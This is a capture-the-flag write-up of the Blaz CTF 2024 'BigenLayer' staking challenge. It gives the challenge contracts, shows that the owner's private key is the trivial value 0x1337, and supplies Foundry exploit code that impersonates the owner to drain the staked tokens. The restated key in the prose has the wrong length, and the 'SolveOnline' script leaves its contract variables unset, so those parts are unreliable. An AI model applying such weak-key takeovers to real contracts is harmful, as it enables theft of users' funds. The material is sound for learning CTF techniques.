Blaz CTF 2024 - BigenLayer
Challenge
Bigen Layer, an modern & secure restaking protocol, is designed to provide uniformed restaking entry for tokens. Dive deep into the complexities of these systems, and remember—the missing piece might just be found in unexpected places.
Debug on Sentio
/* Author: tonyke_bot */
# Solidity / 73 solves / 192 pts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {ERC20} from "./ERC20.sol";
contract iPhone16 is ERC20 {
constructor() {
_mint(msg.sender, 1000 * 10 ** 18); // Mint 1000 tokens to the deployer
}
function name() public pure override returns (string memory) {
return "iPhone16";
}
function symbol() public pure override returns (string memory) {
return "AMAZING";
}
}
contract BigenLayer {
address public immutable owner;
iPhone16 public immutable token;
mapping(address => uint256) public stakedBalance;
mapping(address => uint256) public withdrawalRequestTime;
mapping(address => uint256) public pendingWithdrawals;
mapping(address => address) public withdrawalRecipient;
constructor(address _owner, iPhone16 _token) {
owner = _owner;
token = _token;
}
function stake(address onBehalf, uint256 amount) external {
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
stakedBalance[onBehalf] += amount;
}
function _requestWithdrawal(address user, uint256 amount, address recipient) internal {
require(stakedBalance[user] >= amount, "Insufficient balance");
stakedBalance[user] -= amount;
pendingWithdrawals[user] += amount;
withdrawalRequestTime[user] = block.timestamp;
withdrawalRecipient[user] = recipient;
}
function requestWithdrawal(uint256 amount, address recipient) external {
_requestWithdrawal(msg.sender, amount, recipient);
}
function adminRequestWithdrawal(address user, uint256 amount, address recipient) external {
require(msg.sender == owner, "Only owner can call this function");
_requestWithdrawal(user, amount, recipient);
}
function finalizeWithdrawal(address user) external {
uint256 amount = pendingWithdrawals[user];
require(amount > 0, "No pending withdrawal");
require(block.timestamp >= withdrawalRequestTime[user] + 12 seconds, "Withdrawal too early");
address recipient = withdrawalRecipient[user];
pendingWithdrawals[user] = 0;
require(token.transfer(recipient, amount), "Transfer failed");
}
}
contract Challenge {
address public immutable PLAYER;
BigenLayer public immutable bigen;
iPhone16 public immutable token;
address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;
constructor(address player) {
PLAYER = player;
token = new iPhone16();
bigen = new BigenLayer(OWNER, token);
token.approve(address(bigen), type(uint256).max);
bigen.stake(TIM_COOK, 16 * 10 ** 18);
}
function isSolved() external view returns (bool) {
return token.balanceOf(PLAYER) >= 16 * 10 ** 18;
}
}
Solution
By analyzing the handouts, we know that there are only 4 paths to pass this challenge:
Find the hidden vulnerability in the
BigenLayer
contract and withdraw the staking amount.Find the hidden vulnerability in the
iPhone16
contract and generate a large number of tokens out of the air.Forge the
msg.sender
to beTIM_COOK
, initiate arequestWithdrawal()
call, and then wait 12 seconds before calling thefinalizeWithdrawal()
function to withdraw the staking amount.Forge the
msg.sender
to beOWNER
, initiate anadminRequestWithdrawal()
call, and then wait 12 seconds before calling thefinalizeWithdrawal()
function to withdraw all of the staking amount.
The path1 and path2 are unavailable, because BigenLayer
and iPhone16
contract are bug-free.
To forge the msg.sender
to be TIM_COOK
, we need to find the private key of 0x2011082420110824201108242011082420110824
. Unfortunately, Tim did not leak his private key, at least I didn't find it. 🥲
To forge the msg.sender
to be OWNER
, we need to find the private key of 0x71556C38F44e17EC21F355Bd18416155000BF5a6
. Luckily, we did find some clues via Google Search. 😄
Opening the discussion thread, we can see this:
Seems like we have found a private key leakage!
Let’s verify it:
from ecdsa import SigningKey, SECP256k1
from eth_utils import address
from Crypto.Hash import keccak
sk = SigningKey.from_string(bytes.fromhex(f"{0x1337:064x}"), curve=SECP256k1)
vk = sk.get_verifying_key()
private_key = sk.to_string()
public_key = vk.to_string()
keccak_hash = keccak.new(digest_bits=256)
keccak_hash.update(public_key)
keccak_digest = keccak_hash.digest()
_address = keccak_digest[-20:]
wallet_address = "0x" + _address.hex()
_private_key = "0x" + private_key.hex()
print(address.to_checksum_address(wallet_address))
#>>> "0x71556C38F44e17EC21F355Bd18416155000BF5a6"
print(_private_key)
#>>> "0x0000000000000000000000000000000000000000000000000000000000001337"
Fantastic! Now we know that the private key of the OWNER
is 0x000000000000000000000000000000000000000000000000000000000001337
!
Let's summarize the attack steps:
Donate some gas fee to
OWNER
.Call
BigenLayer.adminRequestWithdrawal()
by usingOWNER
's private key.Sleep 12 seconds
Call
BigenLayer.finalizeWithdrawal()
to withdraw all of the staking tokens.
Full solution code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// FilePath: /blazctf-2024/bigen-layer/challenge/project/test/Challenge.t.sol
// Test:
// cd /blazctf-2024/bigen-layer/challenge/project
// forge test --match-contract SolveOffline
import "forge-std/Script.sol";
import "forge-std/Test.sol";
import "forge-std/Script.sol";
import "src/Challenge.sol";
contract SolveOffline is Test {
address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;
uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80));
uint256 OwnerPrivateKey = 0x0000000000000000000000000000000000000000000000000000000000001337;
address player = vm.addr(playerPrivateKey);
Challenge challenge;
BigenLayer bigenLayer;
iPhone16 token;
function setUp() public {
challenge = new Challenge(player);
bigenLayer = challenge.bigen();
token = challenge.token();
vm.deal(player, 1 ether);
}
function test_isSolved() public {
exploit();
assertTrue(challenge.isSolved());
}
function exploit() public {
vm.prank(player);
payable(OWNER).transfer(0.001 ether); // donate 0.001 ether to OWNER
vm.startPrank(OWNER);
bigenLayer.adminRequestWithdrawal(TIM_COOK, token.balanceOf(address(bigenLayer)), player);
vm.stopPrank();
vm.warp(12+1);
bigenLayer.finalizeWithdrawal(TIM_COOK);
}
}
contract SolveOnline is Script {
address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;
uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80));
uint256 OwnerPrivateKey = 0x0000000000000000000000000000000000000000000000000000000000001337;
address player = vm.addr(playerPrivateKey);
Challenge challenge;
BigenLayer bigenLayer;
iPhone16 token;
function run() public {
vm.startBroadcast(playerPrivateKey);
payable(OWNER).transfer(0.001 ether); // donate 0.001 ether to OWNER
vm.startBroadcast(OwnerPrivateKey);
bigenLayer.adminRequestWithdrawal(TIM_COOK, token.balanceOf(address(bigenLayer)), player);
vm.stopBroadcast();
vm.sleep(12+1);
vm.startBroadcast(playerPrivateKey);
bigenLayer.finalizeWithdrawal(TIM_COOK);
}
}
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣